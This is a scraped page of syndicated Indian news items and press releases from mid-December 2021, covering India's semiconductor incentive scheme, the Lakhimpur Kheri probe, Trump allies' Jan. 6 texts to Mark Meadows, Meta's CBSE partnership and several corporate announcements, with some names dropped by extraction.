more coherent position when it comes to Myanmar. The 10-nation group has long hewed to a policy of non-interference in its members' internal affairs and often resisted taking action against them. I understand that we celebrate the principles of non-interference, but... should also look at the principle of non-indifference because what happens in Myanmar is already getting out of Myanmar, he said, noting that Malaysia is now hosting nearly 200,000 Rohingya refugees. We have to do some soul-searching, he said, expressing hope that an foreign ministers meeting in January would be able to clarify the group's position on Myanmar and lay out clear demands and milestones for the country's military to meet along with a specific timeline for completing them. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The Union Cabinet on Wednesday approved a production linked incentive (PLI) scheme for and display board production in the country, I&B Minister Anurag Thakur said. The scheme envisages investment of Rs 76,000 crore in production over the next 5-6 years, he said. The programme aims to provide attractive incentive support to companies / consortia that are engaged in Silicon Fabs, Display Fabs, Compound Semiconductors / Silicon Photonics / Sensors (including MEMS) Fabs, Semiconductor Packaging (ATMP / OSAT), Semiconductor Design. The programme will usher in a new era in electronics manufacturing by providing a globally competitive incentive package to companies in semiconductors and display manufacturing as well as design, said government while adding that semiconductors and displays are the foundation of modern electronics driving the next phase of digital transformation under Industry 4.0. Telecom and IT Minister Ashwini Vaishnaw said the decision will help design, fabrication, packing and testing of the microchips and develop a complete ecosystem. Companies including Israel's Tower Semiconductor, Apple's contract manufacturer Foxconn and a Singapore-based consortium have shown interest in setting up semiconductor fabrication units in India, a government source said, while adding that Vedanta Group was also keen to set up a display fabrication plant in India, reported Reuters. Following broad incentives have been approved for the development of semiconductors and display manufacturing ecosystem in India: Semiconductor Fabs and Display Fabs: The Scheme for Setting up of Semiconductor Fabs and Display Fabs in India shall extend fiscal support of up to 50% of project cost on pari-passu basis to applicants who are found eligible and have the technology as well as capacity to execute such highly capital intensive and resource incentive projects. Government of India will work closely with the State Governments establish High-Tech Clusters with requisite infrastructure in terms of land, semiconductor grade water, high quality power, logistics and research ecosystem to approve applications for setting up atleasttwo greenfield Semiconductor Fabs and two Display Fabs in the country. Semi-conductor Laboratory (SCL): Union Cabinet has also approved that Ministry of Electronics and Information Technology will take requisite steps for modernisation and commercialization of Semi-conductor Laboratory (SCL). MeitY will explore the possibility for the Joint Venture of SCL with a commercial fab partner to modernize the brownfield fab facility. Compound Semiconductors / Silicon Photonics / Sensors (including MEMS) Fabs and Semiconductor ATMP / OSAT Units: The Scheme for Setting up of Compound Semiconductors / Silicon Photonics / Sensors (including MEMS) Fabs and Semiconductor ATMP / OSAT facilities in India shall extend fiscal support of 30% of capital expenditure to approved units. Atleast 15 such units of Compound Semiconductors and Semiconductor Packaging are expected to be established with Government support under this scheme. Semiconductor Design Companies: The Design Linked Incentive (DLI) Scheme shall extend product design linked incentive of up to 50% of eligible expenditure and product deployment linked incentive of 6% - 4% on net sales for five years. Support will be provided to 100 domestic companies of semiconductor design for Integrated Circuits (ICs), Chipsets, System on Chips (SoCs), Systems & IP Cores and semiconductor linked design and facilitating the growth of not less than 20 such companies which can achieve turnover of more than Rs.1500 crore in the coming five years. India Semiconductor Mission: In order to drive the long-term strategies for developing a sustainable semiconductors and display ecosystem, a specialised and independent India Semiconductor Mission (ISM) will be set up. The India Semiconductor Mission will be led by global experts in semiconductor and display industry. It will act as the nodal agency for efficient and smooth implementation of the schemes on Semiconductors and Display ecosystem. Comprehensive fiscal support for semiconductors and electronics With the approval of the programme for development of semiconductors and display manufacturing ecosystem in India with an outlay of Rs 76,000 crore, Government of India has announced incentives for every part of supply chain including electronic components, sub-assemblies, and finished goods. Incentive support to the tune of Rs 55,392 crore have been approved under PLI for Larges Scale Electronics Manufacturing, PLI for IT Hardware, SPECS Scheme and Modified Electronics Manufacturing Clusters (EMC 2.0) Scheme. In addition, PLI incentives to the quantum of Rs 98,000 crore are approved for allied sectors comprising of ACC battery, auto components, telecom & networking products, solar PV modules and white goods. "In total, Government of India has committed support of Rs 2,30,000 crore to position India as global hub for electronics manufacturing with semiconductors as the foundational building block," said government. "In the current geopolitical scenario, trusted sources of semiconductors and displays hold strategic importance and are key to the security of critical information infrastructure. The approved program will propel innovation and build domestic capacities to ensure the digital sovereignty of India. It will also create highly skilled employment opportunities to harness the demographic dividend of the country. "Development of semiconductor and display ecosystem will have a multiplier effect across different sectors of the economy with deeper integration to the global value chain. The program will promote higher domestic value addition in electronics manufacturing and will contribute significantly to achieving a $1 trillion digital economy and a $5 trillion GDP by 2025," said government in a statement. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Gangster Suresh Pujari, wanted in several extortion cases in region and Karnataka, has been deported to India, a senior police official said on Wednesday. Pujari, also wanted in extortion cases in Mumbai, Thane, Kalyan, Ulhasnagar and Dombivli near Mumbai, was brought back to India late Tuesday night after he was arrested and extradited from the Intelligence Bureau (IB) and CBI officials took his custody after he landed at Delhi airport, the official said. He will be handed over to Police after the central agencies interrogate him, the official said. A crime branch team is already in Delhi to take his custody. Mumbai and Thane police had issued red-corner notices against him in 2017 and 2018 respectively after several extortion cases. Pujari, who was on the run for over 15 years, was nabbed in the in October, the official said. Altogether 23 extortion cases have been registered against him in Thane, he said. Suresh is a close relative of gangster Ravi Pujari and separated from him in 2007. He then fled abroad. Early in his career in crime, he worked with underworld don Chhota Rajan and Ravi Pujari and later formed his own gang, the official said. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) The SIT of the UP police that is probing the Lakhimpur Kheri violence has submitted before a court that the killing of four farmers and a journalist in which Union minister Ajay Mishra's son Ashish Mishra is among the 13 accused was a "pre-planned conspiracy", and also sought to substitute lesser charges in the case with graver ones. After hearing arguments on the application moved by the Special Investigation Team(SIT), Lakhimpur Chief Judicial Magistrate (CJM) Chinta Ram on Tuesday allowed it to add IPC sections 307(attempt to murder) and 326 (voluntarily causing injuries by dangerous weapons) in the FIR in which Ashish Mishra is the main accused, Senior prosecution officer SP Yadav told PTI. Relevant charges under the Arms Act were also allowed to be added. The submission by the SIT on Monday sparked fresh demands by Congress leaders Rahul and Priyanka Gandhi that Prime Minister Narendra Modi immediately sack Ajay Mishra, who is the Minister of State for Home. Rahul also said it was time for Modi to apologise again. The SIT also contended that the evidence gathered so far established that the violence leading to the death of the four farmers and a journalist and injuries to several others was "not an act of negligence or carelessness". The violence in Tikunia on October 3 that set off a political storm ahead of the Assembly elections in and Punjab among other states had left a total of eight people including two BJP workers dead and two separate FIRs were filed. It erupted when a group of farmers was protesting the visit of UP Deputy Chief Minister Keshav Prasad Maurya to Ajay Mishra's native place. The SIT had arrested 13 people including Ashish Mishra in the first FIR in connection with the death of the four farmers and a local journalist. In the second FIR relating to the death of two BJP workers and a driver during the violence, the SIT had arrested four people. It urged the CJM to replace IPC sections 279 (rash driving/riding), 338 (causing grievous injuries by negligence) and 304A (causing death by a rash and negligent act) with IPC section 307 (attempt to murder) among other charges in the first FIR. The SIT pleaded for invoking IPC sections 326 (voluntarily causing injuries by dangerous weapons), 34 (acts by several persons with common intentions) and sections 3/25/30 of the Arms Act in the warrants of the 13 accused. It retained IPC sections 302 (murder), 147 (rioting), 148 (rioting, armed with a deadly weapon), 149 (every member of unlawful assembly guilty of offence committed in prosecution of common object) and 120B (criminal conspiracy). "After hearing arguments of the prosecution and the defense counsels on Tuesday, the CJM allowed to drop section 279, 338 and 304A of IPC against the accused," Yadav said. All the 13 accused in the first FIR including Ashish Mishra were produced in the court. The defense counsels objected to adding section 34 of IPC. The court held that addition of section 34 as unjustified as the accused had already been remanded under IPC section 149, Yadav said. Yadav said Chief Investigator of the SIT Vidyaram Diwakar, probing the Tikunia violence, moved an application before the court on Monday stating that the probe and evidence gathered so far established that the violence leading to the death of five people and injuries to several others was "not an act of negligence or carelessness." "The chief investigator stated in his application that the act was a pre-planned conspiracy, causing death, owing to which the earlier IPC sections in the FIR namely sections 279, 338 and 304A were dropped and IPC sections 307, 326, 34 and sections 3/25/30 of the Arms Act were added," Yadav said. Yadav said the chief investigating officer urged the court to rectify the warrants of the 13 accused accordingly in the first FIR. The UP government had formed a nine-member SIT to investigate both the cases. The SIT was later reconstituted by the Supreme Court. The Samyukt Kisan Morcha(SKM) said the Modi government should stop shielding Minister Ajay Mishra, and dismiss him from the post. The umbrella body of farmers' unions said the SIT finding has reaffirmed its stand that the incident was a "pre-planned massacre". Priyanka Gandhi, AICC general secretary in-charge of UP, accused Prime Minister Modi of having an "anti-farmer mindset" and demanded that he should initiate an inquiry into the role of his ministerial colleague Ajay Mishra in the violence. "Due to the court's rebuke and because of 'satyagraha', now even the police is saying that the son of the Minister of State for Home had conspired and crushed the farmers," Gandhi said in a tweet in Hindi. "But @narendramodi ji, due to anti-farmer mindset, you have not even removed him from his post," the Congress general secretary said. In a statement, she said that when the SIT has stated that the Lakhimpur "farmer massacre" was a pre-planned act then why are Prime Minister Modi and the Home Minister Amit Shah still "protecting" the minister of state for home. "The victims' families and we, doing satyagraha, have been demanding since day one that the minister of state for home should be dismissed. Because the people present at the spot and the families of the victims had clearly stated that the violence was done with conspiracy and the farmers were crushed," Priyanka Gandhi said. "Modi ji, it is time to apologise again... But first remove the accused's father from the minister's post. The truth is before you!," Rahul Gandhi said on Twitter, using the hashtags "Lakhimpur" and "murder". He alleged that the minister tried to kill farmers and the prime minister knew as he was a member of his team. "A minister has tried to kill farmers. The prime minister knows as he is in his team. We raised the issue but we were not allowed a discussion on it even then. We were all silenced at the time after we wanted to discuss the issue," he told reporters in Delhi when asked about the matter. Asked if the Congress would raise the issue in Parliament, the former Congress chief said, "We will certainly raise the issue in Parliament but they will not allow us to raise it." In response to another question, he said, "When they ran their jeep over farmers, which forces were behind them? Who gave them the liberty and which force kept them out of jail?"Congress chief spokesperson Randeep Surjewala also demanded the sacking of Mishra and asked the prime minister to apologise. "Dear Modi ji, now in Lakhimpur Kheri the conspiracy to kill farmers has come to the fore. Today you should apologise to the farmers from the stage in and sack the minister of state for home," he said, claiming that otherwise it will be proved that the massacre of farmers took place at the behest of the Yogi-Modi government. UP Congress chief Ajay Kumar Lallu also said that the prime minister should immediately dismiss Mishra if he is sensitive towards farmers. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) A view of the Statue of Unity during sunset, at Kevadiya colony in Narmada district of Gujarat. Prime Minister paid tribute to India's first home minister, Sardar Vallabhbhai Patel, on his 71st death anniversary on Wednesday. Patel is credited with efforts that led to the merger of a large number of princely states with the Union of India after "Remembering on his Punya Tithi. India will always be grateful to him for his monumental service, his administrative skills and the untiring efforts to unite our nation," Modi said in a tweet. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) President Kovind will represent India as the guest of honour in Bangladesh's 50th Victory Day celebrations here. President on Wednesday arrived here on a maiden three-day State Visit during which he will hold talks with his counterpart and attend the golden jubilee celebrations of Bangladesh's 1971 independence from Pakistan. It is President Kovind's first trip abroad since the outbreak of the (COVID-19) pandemic. He will represent India as the guest of honour in Bangladesh's 50th Victory Day celebrations here. In a reflection of close ties, India is also hosting a number of events to mark the 50th anniversary of the 1971 India-Pakistan war that led to the liberation of Bangladesh's Foreign Minister Dr AK Abdul Momen, at a virtual press conference here on Tuesday, called President Kovind's visit a ceremonial one but emphasised that all issues of bilateral ties were expected to be reviewed as part of his tour. "President Kovind is set to visit on 15-17 December at the invitation of the President of M Abdul Hamid as a unique sign of good relations between the two neighbouring countries," he said. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Former chief has given an adjournment notice in the for discussing the SIT report in a case of violence in Lakhimpur Kheri district of Uttar Pradesh, in which eight people were killed. In his notice, Gandhi has sought for adjourning the business of the House and demanded that the Special Investigation Team's (SIT) report on the Lakhimpur Kheri incident be taken up for discussion. "I hereby give notice of my intention to ask for leave to move a motion for the adjournment of the business of the House for the purpose of discussing a definite matter of urgent importance. "The UP Police SIT report has highlighted that massacre of farmers at Lakhimpur was a pre-planned conspiracy and not a negligent act. The SIT has recommended for the modification of the charges against all the accused," he said in his notice submitted to the secretary general. "The government should immediately sack the MoS, Home Affairs, Ajay Kumar Mishra, and ensure that justice is delivered to the families of the victims," Gandhi said in his notice. The is likely to create an uproar in the over the issue on Wednesday. Gandhi had alleged on Tuesday that the Opposition was not being allowed to raise matters of public importance in Parliament, which was merely a building and a museum now. The SIT has submitted before a court that the killing of four farmers and a journalist in Lakhimpur Kheri, in which Union Minister of State for Home Affairs Ajay Mishra's son Ashish Mishra is among the 13 accused, was a "pre-planned conspiracy" and also sought to substitute lesser charges in the case with graver ones. After hearing the arguments on the application moved by the SIT, Lakhimpur Chief Judicial Magistrate (CJM) Chinta Ram on Tuesday allowed it to add Indian Penal Code (IPC) sections 307(attempt to murder) and 326 (voluntarily causing injuries by dangerous weapons) in the FIR in which Ashish Mishra is the main accused, senior prosecution officer SP Yadav told PTI. Relevant charges under the Arms Act were also allowed to be added. The violence in Tikunia in Lakhimpur Kheri district on October 3 that set off a political storm ahead of the 2022 Assembly polls in and Punjab, among other states, had left a total of eight people, including two BJP workers, dead and two separate FIRs were filed in connection with the incident. It erupted when a group of farmers was protesting against the visit of Deputy Chief Minister Keshav Prasad Maurya to Ajay Mishra's native place. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Trump's defenders did not publicly display that same sense of alarm mere hours after the deadly insurrection. As a mob overran the US Capitol last January, some of Donald Trump's highest-profile defenders in the media and even his own son sent urgent text messages to the chief of staff urging him to get the then-president to do more to stop the violence. But they did not publicly display that same sense of alarm mere hours after the deadly insurrection. And they have since joined some of the country's top Republicans in downplaying Trump's role in the attack part of a larger effort to rewrite the history of Jan. 6. Here are some of the frantic messages that Trump allies sent to the chief of staff Mark Meadows as the insurrection was unfolding and what they've said publicly about the events since then: Jr. He's got to condemn this s- ASAP. The Capitol Police tweet is not enough, Trump's eldest son wrote in a text message to Meadows about his father. That's according to excerpts read Monday by Republican Rep. Liz Cheney of Wyoming, vice chair of a House committee investigating what happened. Earlier on Jan. 6, before the violence, the younger Trump tweeted that his father has the people!!! over a picture of throngs of pro-Trump demonstrators who gathered in Washington. When word began to surface that the Capitol was breached, Trump Jr. changed his tone, tweeting, This is wrong and not who we are. Be peaceful," and "Don't start acting like the other side. We have a country to save and this doesn't help anyone. But, barely a week later and after the House impeached President Trump for inciting the insurrection Trump Jr. began advancing the false narrative that authorities knew violence was coming on Jan. 6 but didn't do enough to prepare in part because House Speaker Nancy Pelosi ignored warnings about what might occur. If these federal law enforcement agencies had prior knowledge that this was a planned attack then POTUS didn't incite anything," Trump Jr. tweeted on Jan. 14. "If he didn't incite anything then Nancy Pelosi and the Dems used impeachment on yet another sham political witch-hunt. GOP members of Congress, including House Republican leader Kevin McCarthy, have since advanced similarly false claims about Pelosi delaying military assistance to help Capitol Police officers trying to quell the attack. Laura Ingraham Mark, the president needs to tell people in the Capitol to go home, the Fox News Channel host wrote, according to text excerpts Cheney read. "This is hurting all of us. He is destroying his legacy. But on her show the evening of Jan. 6, Ingraham cited false claims that the rioters included leftist provocateurs, saying, They were likely not all Trump supporters, and there are some reports Antifa sympathizers may have been sprinkled throughout the crowd. She added: If you are a Trump supporter hoping to display your support for the president, well, today's antics at the Capitol did just the opposite." Ingraham also made a false assertion that there were legitimate concerns that voter fraud potentially marred the 2020 election won by Democrat Joe Biden, but she noted, That never should have lent any license to violence or other chaos. Ingraham has since repeatedly downplayed the Jan. 6 attack. In April, she said that America's most dangerous insurrectionists weren't those who participated in the mob. Instead, she said, The real threat to our future is Biden, and the well-heeled, powerful forces who want us to lose sight of what made America great in the first place. During a March phone interview with Trump, Ingraham asked him: Are you concerned that the US Capitol, after Jan. 6, has become a fortress, protecting the Capitol from the people who are supposed to actually be the ones in charge here, not the people who are sitting in the Capitol? She then didn't object when Trump said that the mob posed zero threat and suggested that authorities were persecuting a lot of those people for being a part of it. Sean Hannity Can he make a statement? Ask people to leave the Capitol?" the Fox News Channel host wrote to Meadows about Trump, according to text excerpts read by Cheney. During his show the evening of Jan. 6, Hannity said those responsible for the attack must be arrested and prosecuted to the full extent of the law, but he also quickly raised concerns that law enforcement wasn't ready for what happened. I don't care if the radical left, radical right I don't know who they are. They're not people I would support," Hannity said then. "So how were officials not prepared? We got to answer that question. How did they allow the Capitol building to be breached in what seemed like less than a few minutes? During his show on Monday, Hannity called the House committee investigating the attack a Democrat sham and a waste of your time and money." He also falsely said Trump had pushed for extra Capitol protection before Jan. 6 but was denied by Pelosi. He had Meadows on as a guest, but neither mentioned the text messages. On Tuesday, Hannity opened his show likening what occurred during the Capitol attack to demonstrations around the country after the murder of George Floyd by a Minnesota police officer. All riots, obviously, are bad. All of them," Hannity said. And on this program, we strongly condemn the violence on Jan. 6 just like we condemned all of the violent riots in the summer of 2020." Hannity called Cheney reading his Meadows text a weak attempt to smear yours truly and, presumably I guess, President Trump, and argued that what he wrote was consistent with what he said on the air the day of the Capitol attack. I say the same thing in private I say to all of you, Hannity said. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Meta (formerly Facebook) on Wednesday said it will expand its partnership with the Central Board of Secondary Education (CBSE) to provide a curriculum on digital safety and online well-being and (AR) for over 10 million students and 1 million educators in the country over the next three years. Additionally, in line with the government's vision of universalizing education, Meta and will democratise the high school curriculum by allowing students access to quality educational content online through modules which would be made available on CBSE's website. The announcement was made by Meta founder and CEO at Meta's Fuel for India, 2021. "I'm really excited about this partnership and I think it's a huge opportunity to (invest in) this entrepreneurial spirit and bring some of these tools around the metaverse, and training to the education system here in India, he said. The first phase of FB for Education' initiative was launched in June 2020, aimed at preparing students and teachers for the future of work and creating a safe online environment and learning experience. It witnessed over 500,000 students show interest for digital safety and online well-being and more than 14,000 teachers apply for training in The partnership will also aim to empower educators with new age tools and skills needed to nurture the Generation Z and Generation Alpha students into responsible digital citizens. Aligned to the National Education Policy (NEP) 2020, Meta and will collaborate on content curation and development of curriculum integrating immersive technologies, AR and Virtual Reality (VR) that is relevant for the evolving digital landscape by introducing these as skills subjects for students. By integrating AR experiences into the curriculum, students will be able to collaborate more actively and create using emerging technologies of the future. Immersive education will also enable students with different learning challenges and lack of access to lab resources to learn in an engaging manner. will aim to empower students in the under-served regions of India through its community skill centers making these new age skills available to the youth and help them become creators in the digital economy through equitable access to resources. Dr Biswajit Saha, Director (Skills Education and Trainings) at CBSE, said the pandemic has impacted lives all around. The learning process has undergone an unforeseen shift. This drastic change has brought along a wall of challenges in facilitating the process of learning. With the assistance of Meta, we hope to build on our online teaching and curriculum capabilities and make them available to students across the country, Saha added. This partnership will help equip our teachers with requisite skills to effectively use online tools for student engagement, Saha noted. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Zydus Wellness Ltd Headquartered in Ahmedabad Zydus Wellness operates as an integrated consumer Group with business encompassing the entire value chain in the development production marketing and distribution of health and wellness products. The Company sells its products in India and has a plant located in Gujarat and two in Sikkim. The strategic advantage of business rests on four key pillars: financial strength p...> More Mumbai (Maharashtra) [India], December 15 (ANI/NewsVoir): HDFC, India's leading housing finance company, and IvyCamp, an initiative of IvyCap Ventures Advisors Pvt. Ltd., have jointly launched the Finnovation program today. Some of the key focus areas for which solutions are sought are Property Assessment for Mortgage Loans and Customer Servicing. Finnovation is a corporate engagement program that seeks to identify innovative startups with solutions that address key business problems and add strategic value to HDFC's core lending business. The shortlisted startups will pitch to the senior management of HDFC for an opportunity to develop a proof of concept, enter into a strategic alliance and/or receive investment. Further, this will help the startups work together with the industry experts and the HDFC units. Basis the pilot, this will create avenues for future probable business deals. Thus, providing direct access to key decision-makers will help in gaining and building domain expertise. For HDFC Ltd., such programs provide an opportunity for faster technology development and business models for relevant problems, futuristic customer and stakeholder requirements. In other words, this will give a competitive edge in the market. The call for applications will be open until January 26, 2022. The program is now live at (https://ivycamp.in/finnovation) ivycamp.in/finnovation. Renu Sud Karnad, Managing Director, HDFC Ltd. said, "We have always believed in technology's integral role in transforming our business functions to ensure frictionless service for our customers and other stakeholders. Today, over 89 per cent of new home loan applications of HDFC are received through digital channels. The pandemic has demonstrated that it is imperative that companies have to keep technology at the heart of their growth strategies. It's our firm belief that Finnovation will play a pivotal role in bringing future-ready solutions to our lending ecosystem and accentuate efficiency, customer service and cost advantages." IvyCamp leverages the global alumni network to power India's startup ecosystem. Engagement Platform has more than 3000 startups, 500 mentors, and 30 accelerators, with whom we engage to support the unique needs of entrepreneurs, drive a constant flow of dynamic ideas, leading to true change and lasting impact. Commenting on the partnership, Anju Gupta, Co-founder, and President, IvyCamp said, "We have been working closely with the HDFC Group companies in the past and now we are very happy to announce the launch of Finnovation. We believe such startup-corporate engagements are core to the innovation process that allows founders to engage with organizations and customers to validate and scale their solutions, while at the same time adding value to the core business of organizations and complementing their core competencies. We leverage our Alumni networks to find and evaluate high-potential entrepreneurs and solutions for such programs." HDFC Ltd. is India's leading mortgage lender and a well-established financial conglomerate. It has assisted over 88 lakh customers in acquiring their own homes over the last 4 decades through a wide network of 616 offices across India. HDFC Ltd. has offices in London, Dubai, Singapore and service associates in the Middle East to assist non-resident Indians and PIOs. For more information, please visit (https://www.hdfc.com) www.hdfc.com. IvyCamp is an initiative of IvyCap Ventures, a Venture Capital Fund management company. IvyCap invests in early to growth-stage entrepreneurs leveraging Global Alumni networks from the IITs, IIMs, and other institutes to support entrepreneurs through a combination of expert interaction, training, funding, corporate engagements, and acceleration. IvyCamp platform has more than 5,000 alumni as entrepreneurs, mentors, and investors, 50-plus service providers, 10-plus funding in IoT, AR/VR, Big Data, tech start-ups, 25-plus mentoring deals. We leverage the Global Alumni Ecosystems to power our startup engagement platform for entrepreneurs, startups, mentors, investors, funds, governments, institutions, accelerators, incubators, financial institutions. We work with corporate organizations to create engagements (POC's, co-development, acquire, partnerships, strategic investments) with startups to achieve targeted business goals. We leverage our global Alumni network to find and evaluate the right high potential entrepreneurs and solutions. Many of our startups have engaged with our corporate partners through exposure via our programs and startup pitch events. This story is provided by NewsVoir. ANI will not be responsible in any way for the content of this article. (ANI/NewsVoir) DISCLAIMER (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) New Delhi [India], December 15 (ANI/ATK): On the occasion of International Men's day, Himanshu Yadav was felicitated with 'Men Leaders to look Up to 2021'. Unified Brainz recognized the accomplishments of men who lead by example with glitz, glamour & glory. This magnificent occasion saw the presence of some of the most sought-after lineup of male leaders from various walks of life discussing their passion journey. Talking about his work, Himanshu Yadav said, "It has always been my responsibility to see that nothing ever brings shame to this name. So, I make sure that all my clients don't find an opportunity to point out any faults in the work we deliver. I strive to honour my clients while prioritizing perfection over profit or loss." Businessman Himanshu is someone who treasures and draws his strength from his family's support, living life by the book, following his instincts, and swimming against the stream's current. It would be fair to call his habit to judge people based on their ethics and morals. The government recently honoured Himanshu's venture, "Himansh," 'India's first high-altitude lab built in Spiti Valley.' After finishing his B.E. in Civil Engineering, Himanshu flew to Sydney, Australia, to complete his master's in Construction Project Management from UNSW. Back then, Himanshu's bathwater was a successful businessman in the field of Industrial setups, majorly dealing in the establishment of new Paper/Sugar/Tire-Tube/Chemical Industries. But Himanshu was more fascinated by steel structures and prefabricated buildings. With his father's blessings of doing something on his own, Himanshu took up his first job as a Site Engineer in Himachal to get first-hand experience before establishing his business. Himanshu sharing his profound knowledge with his energizing and inspiring words wants the world to know that there is a lot more power in righteousness to achieve something. He enlightens us with this positive contemplation. To know more about Himanshu, check (https://www.passionvista.com) www.passionvista.com or to nominate for upcoming projects email us at info@passionvista.com This story is provided by ATK. ANI will not be responsible in any way for the content of this article. (ANI/ATK) DISCLAIMER (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Mumbai (Maharashtra) [India]/ New York [US], December 15 (ANI/PRNewswire): (https://kedaara.com) Kedaara, a leading private equity firm, today announced the acquisition of a significant majority stake in GAVS Technologies Limited (GAVS). GAVS is an AI-led digital transformation company that focuses on differentiated managed services and product engineering in Healthcare, Retail, BFSI and other verticals. GAVS has grown its revenue at a stellar rate of 20%+ over the last five years (10x+ in the last 10 years) and has partnered with a strong line of global clients in the USA, India, and Middle East. GAVS was awarded the "Star Performer" in Healthcare at PEAK Matrix Service Provider of the Year 2021 by Everest Group. Kedaara's investment will enable GAVS to: Accelerate business growth by leveraging global relationships of Kedaara and Clayton, Dubilier & Rice ("CD & R"), a top global private equity firm and JV partner of Kedaara Deliver AI-led digital transformation services, enterprise managed services, and product engineering to a vast pool of customers globally, especially across healthcare enterprises Drive growth of ZIF.ai (Zero Incident Framework), an AI-based TechOps platform Be among the Best Employers, and provide all its employees an enriching and purposeful environment Sunish Sharma, Co-CEO and Managing Partner of Kedaara, and Parin Mehta, Managing Director of Kedaara, said, "Cost efficiency improvements, the adoption of the value-based model, changing consumer expectations, the complexity of contracts and regulatory push are accelerating the adoption of digital technology. We are excited to partner with the GAVS team to support their continued effort in working with clients to aid that transition. Sumit and the senior leadership team have built a robust platform at GAVS, with exceptional capabilities, focus on innovation, and partnerships with world-class clients, especially in the Healthcare sector." "Status-quo is not an option - businesses have constantly evolved to leverage advances in technology to increase agility, customer satisfaction, growth and profits. Today, this evolution includes the digital transformation of the business models and, subsequently, the IT operations of organizations. COVID-19 has only accelerated work in this direction," said Pramod Bhasin, Operating Partner, Kedaara, and former President and CEO, Genpact. "With a strong DNA of innovation-led culture and customer-centricity, GAVS is well-positioned to be one of the premier AI-led digital transformation focused service providers," he added. As per Gartner, the worldwide enterprise healthcare providers market is forecast to increase by 7.3% in 2021 to USD 124.2 billion, up from USD115.8 billion in 2020 and the worldwide healthcare spending on IT to achieve a five-year compound annual growth rate (CAGR) of 7.1% and to reach an estimated USD162.8 billion by 2025. Rajeev Srivastava, Executive Chairman and Managing Partner, Basil Technology Partners and Sameer Kanwar, Chief Executive Officer and General Partner, Basil Technology Partners said, "Over the past 12 years, we have been involved in scaling GAVS into a 2,100+ person, innovation-led organization.Kedaara coming in as the majority shareholder will enable GAVS to further build on its strengths and take advantage of the growing need for digital adoption across industries (especially in Healthcare) in the US and India, leveraging Kedaara and CD & R's extensive network and relationships." Keith Pitts, Operating Advisor, Clayton, Dubilier & Rice, ex-Vice Chairman, Tenet Health, one of the leading healthcare systems in the US said, "Historically, the healthcare sector in the US has been slower to adopt IT as compared to players in the BFSI, retail sector, and consumer sector etc. But now, digital adoption has become an imperative. The abundance of untapped data and the increased focus on improving patient experience, and regulatory push are likely to drive IT adoption in healthcare, especially in the space of cloud migration, data analytics, and security services. GAVS is well-positioned to capitalize on the spend on digital transformation initiatives by healthcare providers." Since 2010, GAVS has engaged with BronxCare Health System, a leading healthcare provider in New York, to provide AI-led managed IT services and software support. GAVS' AI-based Tech-Ops product ZIF.ai resulted in improved IT infrastructure reliability of 99.9% at the hospital and a cost out of almost 30% for BronxCare Health System. In 2020, BronxCare entered into a contract for another 10 years, with GAVS. The Jewish Board, is New York City's largest health and human services agency serving over 40,000 New Yorkers annually. Uday Madasu, CIO, Jewish Boardsaid, "Jewish Board has been associated with GAVS Technologies for the past 8 Years in providing end-to-end IT Support services. Through their AI led IT support services, they have been able to improve the reliability of our IT systems and have delivered about 35% cost savings YoY." Sumit Ganguli, CEO of GAVS said, "At GAVS, all my colleagues and I are committed to building an AI-led digital transformation company with a focus on successful client engagements. We were most impressed with the leadership, competency, and aspirations at Kedaara and CD & R. We feel privileged to partner with them to pursue our vision.Kedaara's investment in GAVS is a testament to the culture of technological innovation, client centricity, and employee engagement that we have instilled in our company. Kedaara has significant experience in scaling businesses while retaining the entrepreneurial ethos in the portfolio companies. We believe that Kedaara and CD & R will be the ideal partners for GAVS' clients, employees, and for our stated values." Quillon Partners served as legal counsel, Ernst & Young served as the financial advisor, and Deloitte served as the tax advisor to Kedaara. Lexygen served as the legal counsel, KPMG served as tax advisor and Avendus Capital served as the exclusive financial advisor to Basil Technology Partners and GAVS. This story is provided by PRNewswire. ANI will not be responsible in any way for the content of this article. (ANI/PRNewswire) DISCLAIMER (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) New Delhi [India], December 15 (ANI/ATK): Travsie, a travel tech start-up, announced the successful launch of its B2B marketplace and hybrid tech platform in the holiday sourcing space, that caters exclusively to travel agents, SMEs and suppliers. At the time of launch, the platform had more 1100 agents and global suppliers already engaged on the platform. Travsie has also received an initial round of seed funding from a Delhi based HNI, that it will deploy on advancing its technology and expanding operations; as it scales up to acquire 10,000+ agents and suppliers in the next six months. "Holiday packages remain a cornerstone of India's travel industry, and it is estimated that MSME travel agents will continue to retain over 50 per cent market share in terms of channel of bookings for travel. Therefore, it was surprising for us that the B2B space in this segment had been vacant so far. There had been no attempt yet to enable sourcing integration between agents and suppliers," said Vikas Khadaria, CEO and Founder, Travsie. "Agents were facing several challenges while sourcing holiday packages, especially due to manual processes. That's why we created a scalable tech platform like Travsie; to fill this critical need-gap." "Travsie not only streamlines holiday sales, services and transactions between suppliers and agents, it also comes packed with a host of integrated, full stack, ease-of-business features that drive efficiencies, revenues and growth," he added. * Industry's first B2B marketplace & platform for holiday travel agents and suppliers * Powered by an advanced & customizable 'Holiday Search Engine' * With more than 1100 agents and global suppliers already on the platform, Travsie receives initial round of seed funding As a hybrid tech platform, Travsie delivers maximized efficiencies in sourcing, pricing and transactions. It also resolves the challenge of holiday customizations through its industry-first 'Holiday Search Engine', that integrates into its dynamic marketplace, smart dashboard and easy query mechanism. "With seamless customization, direct connect, transparent pricing and a host of other data-led revenue generation features, Travsie will empower last mile B2B travel agents; while giving suppliers and Destination Management Companies (DMCs), irrespective of their physical locations, unlimited access to the rapidly growing network of agents on the platform," said Vikas Khadaria. The company will fast track its expansion to agent markets in Tier 2, 3 and 4 cities, to meet its target of 10,000+ agents and suppliers. 